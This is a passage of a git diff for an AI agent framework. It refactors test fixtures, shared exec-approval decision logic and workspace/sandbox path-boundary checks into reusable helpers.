getMockGateway() { + const gateway = mockState.gateways[0]; + if (!gateway) { + throw new Error("Expected mocked gateway instance"); + } + return gateway; + } + + function captureProcessSignalHandlers() { + const signalHandlers = new Map void>(); + const onceSpy = vi.spyOn(process, "once").mockImplementation((( + signal: NodeJS.Signals, + handler: () => void, + ) => { + signalHandlers.set(signal, handler); + return process; + }) as typeof process.once); + return { signalHandlers, onceSpy }; + } + beforeAll(async () => { ({ serveAcpGateway } = await import("./server.js")); }); @@ -117,25 +137,14 @@ describe("serveAcpGateway startup", () => { }); it("waits for gateway hello before creating AgentSideConnection", async () => { - const signalHandlers = new Map void>(); - const onceSpy = vi.spyOn(process, "once").mockImplementation((( - signal: NodeJS.Signals, - handler: () => void, - ) => { - signalHandlers.set(signal, handler); - return process; - }) as typeof process.once); + const { signalHandlers, onceSpy } = captureProcessSignalHandlers(); try { const servePromise = serveAcpGateway({}); await Promise.resolve(); expect(mockState.agentSideConnectionCtor).not.toHaveBeenCalled(); - const gateway = mockState.gateways[0]; - if (!gateway) { - throw new Error("Expected mocked gateway instance"); - } - + const gateway = getMockGateway(); gateway.emitHello(); await vi.waitFor(() => { expect(mockState.agentSideConnectionCtor).toHaveBeenCalledTimes(1); @@ -159,11 +168,7 @@ describe("serveAcpGateway startup", () => { const servePromise = serveAcpGateway({}); await Promise.resolve(); - const gateway = mockState.gateways[0]; - if (!gateway) { - throw new Error("Expected mocked gateway instance"); - } - + const gateway = getMockGateway(); gateway.emitConnectError("connect failed"); await expect(servePromise).rejects.toThrow("connect failed"); expect(mockState.agentSideConnectionCtor).not.toHaveBeenCalled(); @@ -177,14 +182,7 @@ describe("serveAcpGateway startup", () => { token: undefined, password: "resolved-secret-password", }); - const signalHandlers = new Map void>(); - const onceSpy = vi.spyOn(process, "once").mockImplementation((( - signal: NodeJS.Signals, - handler: () => void, - ) => { - signalHandlers.set(signal, handler); - return process; - }) as typeof process.once); + const { signalHandlers, onceSpy } = captureProcessSignalHandlers(); try { const servePromise = serveAcpGateway({}); @@ -200,10 +198,7 @@ describe("serveAcpGateway startup", () => { password: "resolved-secret-password", }); - const gateway = mockState.gateways[0]; - if (!gateway) { - throw new Error("Expected mocked gateway instance"); - } + const gateway = getMockGateway(); gateway.emitHello(); await vi.waitFor(() => { expect(mockState.agentSideConnectionCtor).toHaveBeenCalledTimes(1); diff --git a/src/agents/bash-tools.exec-host-gateway.ts b/src/agents/bash-tools.exec-host-gateway.ts index 04f88497843..49a958c9c5b 100644 --- a/src/agents/bash-tools.exec-host-gateway.ts +++ b/src/agents/bash-tools.exec-host-gateway.ts @@ -1,4 +1,3 @@ -import crypto from "node:crypto"; import type { AgentToolResult } from "@mariozechner/pi-agent-core"; import { addAllowlistEntry, @@ -20,11 +19,12 @@ import { registerExecApprovalRequestForHostOrThrow, } from "./bash-tools.exec-approval-request.js"; import { + createDefaultExecApprovalRequestContext, + resolveBaseExecApprovalDecision, resolveApprovalDecisionOrUndefined, resolveExecHostApprovalContext, } from "./bash-tools.exec-host-shared.js"; import { - DEFAULT_APPROVAL_TIMEOUT_MS, DEFAULT_NOTIFY_TAIL_CHARS, createApprovalSlug, emitExecSystemEvent, @@ -138,16 +138,24 @@ export async function processGatewayAllowlist( } if (requiresAsk) { - const approvalId = crypto.randomUUID(); - const approvalSlug = createApprovalSlug(approvalId); - const contextKey = `exec:${approvalId}`; + const { + approvalId, + approvalSlug, + contextKey, + noticeSeconds, + warningText, + expiresAtMs: defaultExpiresAtMs, + preResolvedDecision: defaultPreResolvedDecision, + } = createDefaultExecApprovalRequestContext({ + warnings: params.warnings, + approvalRunningNoticeMs: params.approvalRunningNoticeMs, + createApprovalSlug, + }); const resolvedPath = allowlistEval.segments[0]?.resolution?.resolvedPath; - const noticeSeconds = Math.max(1, Math.round(params.approvalRunningNoticeMs / 1000)); const effectiveTimeout = typeof params.timeoutSec === "number" ? params.timeoutSec : params.defaultTimeoutSec; - const warningText = params.warnings.length ? `${params.warnings.join("\n")}\n\n` : ""; - let expiresAtMs = Date.now() + DEFAULT_APPROVAL_TIMEOUT_MS; - let preResolvedDecision: string | null | undefined; + let expiresAtMs = defaultExpiresAtMs; + let preResolvedDecision = defaultPreResolvedDecision; // Register first so the returned approval ID is actionable immediately. const registration = await registerExecApprovalRequestForHostOrThrow({ @@ -184,24 +192,19 @@ export async function processGatewayAllowlist( return; } - let approvedByAsk = false; - let deniedReason: string | null = null; + const baseDecision = resolveBaseExecApprovalDecision({ + decision, + askFallback, + obfuscationDetected: obfuscation.detected, + }); + let approvedByAsk = baseDecision.approvedByAsk; + let deniedReason = baseDecision.deniedReason; - if (decision === "deny") { - deniedReason = "user-denied"; - } else if (!decision) { - if (obfuscation.detected) { - deniedReason = "approval-timeout (obfuscation-detected)"; - } else if (askFallback === "full") { - approvedByAsk = true; - } else if (askFallback === "allowlist") { - if (!analysisOk || !allowlistSatisfied) { - deniedReason = "approval-timeout (allowlist-miss)"; - } else { - approvedByAsk = true; - } + if (baseDecision.timedOut && askFallback === "allowlist") { + if (!analysisOk || !allowlistSatisfied) { + deniedReason = "approval-timeout (allowlist-miss)"; } else { - deniedReason = "approval-timeout"; + approvedByAsk = true; } } else if (decision === "allow-once") { approvedByAsk = true; diff --git a/src/agents/bash-tools.exec-host-node.ts b/src/agents/bash-tools.exec-host-node.ts index 74c740cc1da..b66a6ededf1 100644 --- a/src/agents/bash-tools.exec-host-node.ts +++ b/src/agents/bash-tools.exec-host-node.ts @@ -18,14 +18,12 @@ import { registerExecApprovalRequestForHostOrThrow, } from "./bash-tools.exec-approval-request.js"; import { + createDefaultExecApprovalRequestContext, + resolveBaseExecApprovalDecision, resolveApprovalDecisionOrUndefined, resolveExecHostApprovalContext, } from "./bash-tools.exec-host-shared.js"; -import { - DEFAULT_APPROVAL_TIMEOUT_MS, - createApprovalSlug, - emitExecSystemEvent, -} from "./bash-tools.exec-runtime.js"; +import { createApprovalSlug, emitExecSystemEvent } from "./bash-tools.exec-runtime.js"; import type { ExecToolDetails } from "./bash-tools.exec-types.js"; import { callGatewayTool } from "./tools/gateway.js"; import { listNodes, resolveNodeIdFromList } from "./tools/nodes-utils.js"; @@ -209,13 +207,21 @@ export async function executeNodeHostCommand( }) satisfies Record; if (requiresAsk) { - const approvalId = crypto.randomUUID(); - const approvalSlug = createApprovalSlug(approvalId); - const contextKey = `exec:${approvalId}`; - const noticeSeconds = Math.max(1, Math.round(params.approvalRunningNoticeMs / 1000)); - const warningText = params.warnings.length ? `${params.warnings.join("\n")}\n\n` : ""; - let expiresAtMs = Date.now() + DEFAULT_APPROVAL_TIMEOUT_MS; - let preResolvedDecision: string | null | undefined; + const { + approvalId, + approvalSlug, + contextKey, + noticeSeconds, + warningText, + expiresAtMs: defaultExpiresAtMs, + preResolvedDecision: defaultPreResolvedDecision, + } = createDefaultExecApprovalRequestContext({ + warnings: params.warnings, + approvalRunningNoticeMs: params.approvalRunningNoticeMs, + createApprovalSlug, + }); + let expiresAtMs = defaultExpiresAtMs; + let preResolvedDecision = defaultPreResolvedDecision; // Register first so the returned approval ID is actionable immediately. const registration = await registerExecApprovalRequestForHostOrThrow({ @@ -252,23 +258,17 @@ export async function executeNodeHostCommand( return; } - let approvedByAsk = false; + const baseDecision = resolveBaseExecApprovalDecision({ + decision, + askFallback, + obfuscationDetected: obfuscation.detected, + }); + let approvedByAsk = baseDecision.approvedByAsk; let approvalDecision: "allow-once" | "allow-always" | null = null; - let deniedReason: string | null = null; + let deniedReason = baseDecision.deniedReason; - if (decision === "deny") { - deniedReason = "user-denied"; - } else if (!decision) { - if (obfuscation.detected) { - deniedReason = "approval-timeout (obfuscation-detected)"; - } else if (askFallback === "full") { - approvedByAsk = true; - approvalDecision = "allow-once"; - } else if (askFallback === "allowlist") { - // Defer allowlist enforcement to the node host. - } else { - deniedReason = "approval-timeout"; - } + if (baseDecision.timedOut && askFallback === "full" && approvedByAsk) { + approvalDecision = "allow-once"; } else if (decision === "allow-once") { approvedByAsk = true; approvalDecision = "allow-once"; diff --git a/src/agents/bash-tools.exec-host-shared.ts b/src/agents/bash-tools.exec-host-shared.ts index 37ee0320c3f..eef3575fed3 100644 --- a/src/agents/bash-tools.exec-host-shared.ts +++ b/src/agents/bash-tools.exec-host-shared.ts @@ -1,3 +1,4 @@ +import crypto from "node:crypto"; import { maxAsk, minSecurity, @@ -6,6 +7,7 @@ import { type ExecSecurity, } from "../infra/exec-approvals.js"; import { resolveRegisteredExecApprovalDecision } from "./bash-tools.exec-approval-request.js"; +import { DEFAULT_APPROVAL_TIMEOUT_MS } from "./bash-tools.exec-runtime.js"; type ResolvedExecApprovals = ReturnType; @@ -16,6 +18,110 @@ export type ExecHostApprovalContext = { askFallback: ResolvedExecApprovals["agent"]["askFallback"]; }; +export type ExecApprovalPendingState = { + warningText: string; + expiresAtMs: number; + preResolvedDecision: string | null | undefined; +}; + +export type ExecApprovalRequestState = ExecApprovalPendingState & { + noticeSeconds: number; +}; + +export function createExecApprovalPendingState(params: { + warnings: string[]; + timeoutMs: number; +}): ExecApprovalPendingState { + return { + warningText: params.warnings.length ? `${params.warnings.join("\n")}\n\n` : "", + expiresAtMs: Date.now() + params.timeoutMs, + preResolvedDecision: undefined, + }; +} + +export function createExecApprovalRequestState(params: { + warnings: string[]; + timeoutMs: number; + approvalRunningNoticeMs: number; +}): ExecApprovalRequestState { + const pendingState = createExecApprovalPendingState({ + warnings: params.warnings, + timeoutMs: params.timeoutMs, + }); + return { + ...pendingState, + noticeSeconds: Math.max(1, Math.round(params.approvalRunningNoticeMs / 1000)), + }; +} + +export function createExecApprovalRequestContext(params: { + warnings: string[]; + timeoutMs: number; + approvalRunningNoticeMs: number; + createApprovalSlug: (approvalId: string) => string; +}): ExecApprovalRequestState & { + approvalId: string; + approvalSlug: string; + contextKey: string; +} { + const approvalId = crypto.randomUUID(); + const pendingState = createExecApprovalRequestState({ + warnings: params.warnings, + timeoutMs: params.timeoutMs, + approvalRunningNoticeMs: params.approvalRunningNoticeMs, + }); + return { + ...pendingState, + approvalId, + approvalSlug: params.createApprovalSlug(approvalId), + contextKey: `exec:${approvalId}`, + }; +} + +export function createDefaultExecApprovalRequestContext(params: { + warnings: string[]; + approvalRunningNoticeMs: number; + createApprovalSlug: (approvalId: string) => string; +}) { + return createExecApprovalRequestContext({ + warnings: params.warnings, + timeoutMs: DEFAULT_APPROVAL_TIMEOUT_MS, + approvalRunningNoticeMs: params.approvalRunningNoticeMs, + createApprovalSlug: params.createApprovalSlug, + }); +} + +export function resolveBaseExecApprovalDecision(params: { + decision: string | null; + askFallback: ResolvedExecApprovals["agent"]["askFallback"]; + obfuscationDetected: boolean; +}): { + approvedByAsk: boolean; + deniedReason: string | null; + timedOut: boolean; +} { + if (params.decision === "deny") { + return { approvedByAsk: false, deniedReason: "user-denied", timedOut: false }; + } + if (!params.decision) { + if (params.obfuscationDetected) { + return { + approvedByAsk: false, + deniedReason: "approval-timeout (obfuscation-detected)", + timedOut: true, + }; + } + if (params.askFallback === "full") { + return { approvedByAsk: true, deniedReason: null, timedOut: true }; + } + if (params.askFallback === "deny") { + return { approvedByAsk: false, deniedReason: "approval-timeout", timedOut: true }; + } + return { approvedByAsk: false, deniedReason: null, timedOut: true }; + } + return { approvedByAsk: false, deniedReason: null, timedOut: false }; +} + export function resolveExecHostApprovalContext(params: { agentId?: string; security: ExecSecurity; diff --git a/src/agents/bash-tools.exec-runtime.ts b/src/agents/bash-tools.exec-runtime.ts index 2a5a7d4eb2c..9714e4255ee 100644 --- a/src/agents/bash-tools.exec-runtime.ts +++ b/src/agents/bash-tools.exec-runtime.ts @@ -1,7 +1,7 @@ import path from "node:path"; import type { AgentToolResult } from "@mariozechner/pi-agent-core"; import { Type } from "@sinclair/typebox"; -import type { ExecAsk, ExecHost, ExecSecurity } from "../infra/exec-approvals.js"; +import { type ExecHost } from "../infra/exec-approvals.js"; import { requestHeartbeatNow } from "../infra/heartbeat-wake.js"; import { isDangerousHostEnvVarName } from "../infra/host-env-security.js"; import { findPathKey, mergePathPrepend } from "../infra/path-prepend.js"; @@ -11,6 +11,11 @@ import type { ProcessSession } from "./bash-process-registry.js"; import type { ExecToolDetails } from "./bash-tools.exec-types.js"; import type { BashSandboxConfig } from "./bash-tools.shared.js"; export { applyPathPrepend, findPathKey, normalizePathPrepend } from "../infra/path-prepend.js"; +export { + normalizeExecAsk, + normalizeExecHost, + normalizeExecSecurity, +} from "../infra/exec-approvals.js"; import { logWarn } from "../logger.js"; import type { ManagedRun } from "../process/supervisor/index.js"; import { getProcessSupervisor } from "../process/supervisor/index.js"; @@ -156,30 +161,6 @@ export type ExecProcessHandle = { kill: () => void; }; -export function normalizeExecHost(value?: string | null): ExecHost | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "sandbox" || normalized === "gateway" || normalized === "node") { - return normalized; - } - return null; -} - -export function normalizeExecSecurity(value?: string | null): ExecSecurity | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "deny" || normalized === "allowlist" || normalized === "full") { - return normalized; - } - return null; -} - -export function normalizeExecAsk(value?: string | null): ExecAsk | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "off" || normalized === "on-miss" || normalized === "always") { - return normalized as ExecAsk; - } - return null; -} - export function renderExecHostLabel(host: ExecHost) { return host === "sandbox" ? "sandbox" : host === "gateway" ? "gateway" : "node"; } diff --git a/src/agents/cache-trace.ts b/src/agents/cache-trace.ts index 5084614501c..46d51579258 100644 --- a/src/agents/cache-trace.ts +++ b/src/agents/cache-trace.ts @@ -8,6 +8,7 @@ import { parseBooleanValue } from "../utils/boolean.js"; import { safeJsonStringify } from "../utils/safe-json.js"; import { redactImageDataForDiagnostics } from "./payload-redaction.js"; import { getQueuedFileWriter, type QueuedFileWriter } from "./queued-file-writer.js"; +import { buildAgentTraceBase } from "./trace-base.js"; export type CacheTraceStage = | "session:loaded" @@ -173,15 +174,7 @@ export function createCacheTrace(params: CacheTraceInit): CacheTrace | null { const writer = params.writer ?? getWriter(cfg.filePath); let seq = 0; - const base: Omit = { - runId: params.runId, - sessionId: params.sessionId, - sessionKey: params.sessionKey, - provider: params.provider, - modelId: params.modelId, - modelApi: params.modelApi, - workspaceDir: params.workspaceDir, - }; + const base: Omit = buildAgentTraceBase(params); const recordStage: CacheTrace["recordStage"] = (stage, payload = {}) => { const event: CacheTraceEvent = { diff --git a/src/agents/compaction.test.ts b/src/agents/compaction.test.ts index 9fa8fcee53a..afd8c776942 100644 --- a/src/agents/compaction.test.ts +++ b/src/agents/compaction.test.ts @@ -6,6 +6,7 @@ import { pruneHistoryForContextShare, splitMessagesByTokenShare, } from "./compaction.js"; +import { makeAgentAssistantMessage } from "./test-helpers/agent-message-fixtures.js"; function makeMessage(id: number, size: number): AgentMessage { return { @@ -24,26 +25,15 @@ function makeAssistantToolCall( toolCallId: string, text = "x".repeat(4000), ): AssistantMessage { - return { - role: "assistant", + return makeAgentAssistantMessage({ content: [ { type: "text", text }, { type: "toolCall", id: toolCallId, name: "test_tool", arguments: {} }, ], - api: "openai-responses", - provider: "openai", model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, stopReason: "stop", timestamp, - }; + }); } function makeToolResult(timestamp: number, toolCallId: string, text: string): ToolResultMessage { @@ -229,27 +219,16 @@ describe("pruneHistoryForContextShare", () => { // all corresponding tool_results should be removed from kept messages const messages: AgentMessage[] = [ // Chunk 1 (will be dropped) - contains multiple tool_use blocks - { - role: "assistant", + makeAgentAssistantMessage({ content: [ { type: "text", text: "x".repeat(4000) }, { type: "toolCall", id: "call_a", name: "tool_a", arguments: {} }, { type: "toolCall", id: "call_b", name: "tool_b", arguments: {} }, ], - api: "openai-responses", - provider: "openai", model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, stopReason: "stop", timestamp: 1, - }, + }), // Chunk 2 (will be kept) - contains orphaned tool_results makeToolResult(2, "call_a", "result_a"), makeToolResult(3, "call_b", "result_b"), diff --git a/src/agents/compaction.tool-result-details.test.ts b/src/agents/compaction.tool-result-details.test.ts index 0570fc52bdb..581e596ccbe 100644 --- a/src/agents/compaction.tool-result-details.test.ts +++ b/src/agents/compaction.tool-result-details.test.ts @@ -1,6 +1,7 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; import type { AssistantMessage, ToolResultMessage } from "@mariozechner/pi-ai"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import { makeAgentAssistantMessage } from "./test-helpers/agent-message-fixtures.js"; const piCodingAgentMocks = vi.hoisted(() => ({ generateSummary: vi.fn(async () => "summary"), @@ -21,23 +22,12 @@ vi.mock("@mariozechner/pi-coding-agent", async () => { import { isOversizedForSummary, summarizeWithFallback } from "./compaction.js"; function makeAssistantToolCall(timestamp: number): AssistantMessage { - return { - role: "assistant", + return makeAgentAssistantMessage({ content: [{ type: "toolCall", id: "call_1", name: "browser", arguments: { action: "tabs" } }], - api: "openai-responses", - provider: "openai", model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, stopReason: "toolUse", timestamp, - }; + }); } function makeToolResultWithDetails(timestamp: number): ToolResultMessage<{ raw: string }> { diff --git a/src/agents/context.lookup.test.ts b/src/agents/context.lookup.test.ts index 81263481c34..584f9c27cbb 100644 --- a/src/agents/context.lookup.test.ts +++ b/src/agents/context.lookup.test.ts @@ -1,33 +1,37 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; +function mockContextModuleDeps(loadConfigImpl: () => unknown) { + vi.doMock("../config/config.js", () => ({ + loadConfig: loadConfigImpl, + })); + vi.doMock("./models-config.js", () => ({ + ensureOpenClawModelsJson: vi.fn(async () => {}), + })); + vi.doMock("./agent-paths.js", () => ({ + resolveOpenClawAgentDir: () => "/tmp/openclaw-agent", + })); + vi.doMock("./pi-model-discovery.js", () => ({ + discoverAuthStorage: vi.fn(() => ({})), + discoverModels: vi.fn(() => ({ + getAll: () => [], + })), + })); +} + describe("lookupContextTokens", () => { beforeEach(() => { vi.resetModules(); }); it("returns configured model context window on first lookup", async () => { - vi.doMock("../config/config.js", () => ({ - loadConfig: () => ({ - models: { - providers: { - openrouter: { - models: [{ id: "openrouter/claude-sonnet", contextWindow: 321_000 }], - }, + mockContextModuleDeps(() => ({ + models: { + providers: { + openrouter: { + models: [{ id: "openrouter/claude-sonnet", contextWindow: 321_000 }], }, }, - }), - })); - vi.doMock("./models-config.js", () => ({ - ensureOpenClawModelsJson: vi.fn(async () => {}), - })); - vi.doMock("./agent-paths.js", () => ({ - resolveOpenClawAgentDir: () => "/tmp/openclaw-agent", - })); - vi.doMock("./pi-model-discovery.js", () => ({ - discoverAuthStorage: vi.fn(() => ({})), - discoverModels: vi.fn(() => ({ - getAll: () => [], - })), + }, })); const { lookupContextTokens } = await import("./context.js"); @@ -36,21 +40,7 @@ describe("lookupContextTokens", () => { it("does not skip eager warmup when --profile is followed by -- terminator", async () => { const loadConfigMock = vi.fn(() => ({ models: {} })); - vi.doMock("../config/config.js", () => ({ - loadConfig: loadConfigMock, - })); - vi.doMock("./models-config.js", () => ({ - ensureOpenClawModelsJson: vi.fn(async () => {}), - })); - vi.doMock("./agent-paths.js", () => ({ - resolveOpenClawAgentDir: () => "/tmp/openclaw-agent", - })); - vi.doMock("./pi-model-discovery.js", () => ({ - discoverAuthStorage: vi.fn(() => ({})), - discoverModels: vi.fn(() => ({ - getAll: () => [], - })), - })); + mockContextModuleDeps(loadConfigMock); const argvSnapshot = process.argv; process.argv = ["node", "openclaw", "--profile", "--", "config", "validate"]; @@ -79,21 +69,7 @@ describe("lookupContextTokens", () => { }, })); - vi.doMock("../config/config.js", () => ({ - loadConfig: loadConfigMock, - })); - vi.doMock("./models-config.js", () => ({ - ensureOpenClawModelsJson: vi.fn(async () => {}), - })); - vi.doMock("./agent-paths.js", () => ({ - resolveOpenClawAgentDir: () => "/tmp/openclaw-agent", - })); - vi.doMock("./pi-model-discovery.js", () => ({ - discoverAuthStorage: vi.fn(() => ({})), - discoverModels: vi.fn(() => ({ - getAll: () => [], - })), - })); + mockContextModuleDeps(loadConfigMock); const argvSnapshot = process.argv; process.argv = ["node", "openclaw", "config", "validate"]; diff --git a/src/agents/path-policy.ts b/src/agents/path-policy.ts index e289ee406cb..f6960bf9500 100644 --- a/src/agents/path-policy.ts +++ b/src/agents/path-policy.ts @@ -19,6 +19,33 @@ function throwPathEscapesBoundary(params: { throw new Error(`Path escapes ${boundary}${suffix}: ${params.candidate}`); } +function validateRelativePathWithinBoundary(params: { + relativePath: string; + isAbsolutePath: (path: string) => boolean; + options?: RelativePathOptions; + rootResolved: string; + candidate: string; +}): string { + if (params.relativePath === "" || params.relativePath === ".") { + if (params.options?.allowRoot) { + return ""; + } + throwPathEscapesBoundary({ + options: params.options, + rootResolved: params.rootResolved, + candidate: params.candidate, + }); + } + if (params.relativePath.startsWith("..") || params.isAbsolutePath(params.relativePath)) { + throwPathEscapesBoundary({ + options: params.options, + rootResolved: params.rootResolved, + candidate: params.candidate, + }); + } + return params.relativePath; +} + function toRelativePathUnderRoot(params: { root: string; candidate: string; @@ -35,47 +62,44 @@ function toRelativePathUnderRoot(params: { const rootForCompare = normalizeWindowsPathForComparison(rootResolved); const targetForCompare = normalizeWindowsPathForComparison(resolvedCandidate); const relative = path.win32.relative(rootForCompare, targetForCompare); - if (relative === "" || relative === ".") { - if (params.options?.allowRoot) { - return ""; - } - throwPathEscapesBoundary({ - options: params.options, - rootResolved, - candidate: params.candidate, - }); - } - if (relative.startsWith("..") || path.win32.isAbsolute(relative)) { - throwPathEscapesBoundary({ - options: params.options, - rootResolved, - candidate: params.candidate, - }); - } - return relative; + return validateRelativePathWithinBoundary({ + relativePath: relative, + isAbsolutePath: path.win32.isAbsolute, + options: params.options, + rootResolved, + candidate: params.candidate, + }); } const rootResolved = path.resolve(params.root); const resolvedCandidate = path.resolve(resolvedInput); const relative = path.relative(rootResolved, resolvedCandidate); - if (relative === "" || relative === ".") { - if (params.options?.allowRoot) { - return ""; - } - throwPathEscapesBoundary({ - options: params.options, - rootResolved, - candidate: params.candidate, - }); - } - if (relative.startsWith("..") || path.isAbsolute(relative)) { - throwPathEscapesBoundary({ - options: params.options, - rootResolved, - candidate: params.candidate, - }); - } - return relative; + return validateRelativePathWithinBoundary({ + relativePath: relative, + isAbsolutePath: path.isAbsolute, + options: params.options, + rootResolved, + candidate: params.candidate, + }); +} + +function toRelativeBoundaryPath(params: { + root: string; + candidate: string; + options?: Pick; + boundaryLabel: string; + includeRootInError?: boolean; +}): string { + return toRelativePathUnderRoot({ + root: params.root, + candidate: params.candidate, + options: { + allowRoot: params.options?.allowRoot, + cwd: params.options?.cwd, + boundaryLabel: params.boundaryLabel, + includeRootInError: params.includeRootInError, + }, + }); } export function toRelativeWorkspacePath( @@ -83,14 +107,11 @@ export function toRelativeWorkspacePath( candidate: string, options?: Pick, ): string { - return toRelativePathUnderRoot({ + return toRelativeBoundaryPath({ root, candidate, - options: { - allowRoot: options?.allowRoot, - cwd: options?.cwd, - boundaryLabel: "workspace root", - }, + options, + boundaryLabel: "workspace root", }); } @@ -99,15 +120,12 @@ export function toRelativeSandboxPath( candidate: string, options?: Pick, ): string { - return toRelativePathUnderRoot({ + return toRelativeBoundaryPath({ root, candidate, - options: { - allowRoot: options?.allowRoot, - cwd: options?.cwd, - boundaryLabel: "sandbox root", - includeRootInError: true, - }, + options, + boundaryLabel: "sandbox root", + includeRootInError: true, }); } diff --git a/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts b/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts index 4b1071de56e..b51e93009b4 100644 --- a/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts +++ b/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts @@ -5,15 +5,17 @@ import { sanitizeGoogleTurnOrdering, sanitizeSessionMessagesImages, } from "./pi-embedded-helpers.js"; -import { castAgentMessages } from "./test-helpers/agent-message-fixtures.js"; +import { + castAgentMessages, + makeAgentAssistantMessage, +} from "./test-helpers/agent-message-fixtures.js"; let testTimestamp = 1; const nextTimestamp = () => testTimestamp++; function makeToolCallResultPairInput(): Array { return [ - { - role: "assistant", + makeAgentAssistantMessage({ content: [ { type: "toolCall", @@ -22,20 +24,10 @@ function makeToolCallResultPairInput(): Array { it("does not synthesize tool call input when missing", async () => { const input = castAgentMessages([ - { - role: "assistant", - content: [{ type: "toolCall", id: "call_1", name: "read" }], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "toolUse", - timestamp: nextTimestamp(), - }, + makeOpenAiResponsesAssistantMessage([ + { type: "toolCall", id: "call_1", name: "read", arguments: {} }, + ]), ]); const out = await sanitizeSessionMessagesImages(input, "test"); @@ -124,26 +123,10 @@ describe("sanitizeSessionMessagesImages", () => { it("removes empty assistant text blocks but preserves tool calls", async () => { const input = castAgentMessages([ - { - role: "assistant", - content: [ - { type: "text", text: "" }, - { type: "toolCall", id: "call_1", name: "read", arguments: {} }, - ], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "toolUse", - timestamp: nextTimestamp(), - }, + makeOpenAiResponsesAssistantMessage([ + { type: "text", text: "" }, + { type: "toolCall", id: "call_1", name: "read", arguments: {} }, + ]), ]); const out = await sanitizeSessionMessagesImages(input, "test"); @@ -189,33 +172,7 @@ describe("sanitizeSessionMessagesImages", () => { }); it("sanitizes tool IDs in images-only mode when explicitly enabled", async () => { - const input = castAgentMessages([ - { - role: "assistant", - content: [{ type: "toolCall", id: "call_123|fc_456", name: "read", arguments: {} }], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "toolUse", - timestamp: nextTimestamp(), - }, - { - role: "toolResult", - toolCallId: "call_123|fc_456", - toolName: "read", - content: [{ type: "text", text: "ok" }], - isError: false, - timestamp: nextTimestamp(), - }, - ]); + const input = makeToolCallResultPairInput(); const out = await sanitizeSessionMessagesImages(input, "test", { sanitizeMode: "images-only", @@ -297,39 +254,11 @@ describe("sanitizeSessionMessagesImages", () => { const input = castAgentMessages([ { role: "user", content: "hello", timestamp: nextTimestamp() } satisfies UserMessage, { - role: "assistant", - stopReason: "error", - content: [], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - timestamp: nextTimestamp(), - } satisfies AssistantMessage, + ...makeEmptyAssistantErrorMessage(), + }, { - role: "assistant", - stopReason: "error", - content: [], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - timestamp: nextTimestamp(), - } satisfies AssistantMessage, + ...makeEmptyAssistantErrorMessage(), + }, ]); const out = await sanitizeSessionMessagesImages(input, "test"); diff --git a/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts b/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts index ca1a60fc10c..c888ae2f4ab 100644 --- a/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts +++ b/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts @@ -1,35 +1,21 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; -import type { AssistantMessage, ToolResultMessage, UserMessage } from "@mariozechner/pi-ai"; +import type { ToolResultMessage, UserMessage } from "@mariozechner/pi-ai"; import { SessionManager } from "@mariozechner/pi-coding-agent"; import { describe, expect, it } from "vitest"; +import { makeAgentAssistantMessage } from "../test-helpers/agent-message-fixtures.js"; import { sanitizeSessionHistory } from "./google.js"; -function makeAssistantToolCall(timestamp: number): AssistantMessage { - return { - role: "assistant", - content: [{ type: "toolCall", id: "call_1", name: "web_fetch", arguments: { url: "x" } }], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "toolUse", - timestamp, - }; -} - describe("sanitizeSessionHistory toolResult details stripping", () => { it("strips toolResult.details so untrusted payloads are not fed back to the model", async () => { const sm = SessionManager.inMemory(); const messages: AgentMessage[] = [ - makeAssistantToolCall(1), + makeAgentAssistantMessage({ + content: [{ type: "toolCall", id: "call_1", name: "web_fetch", arguments: { url: "x" } }], + model: "gpt-5.2", + stopReason: 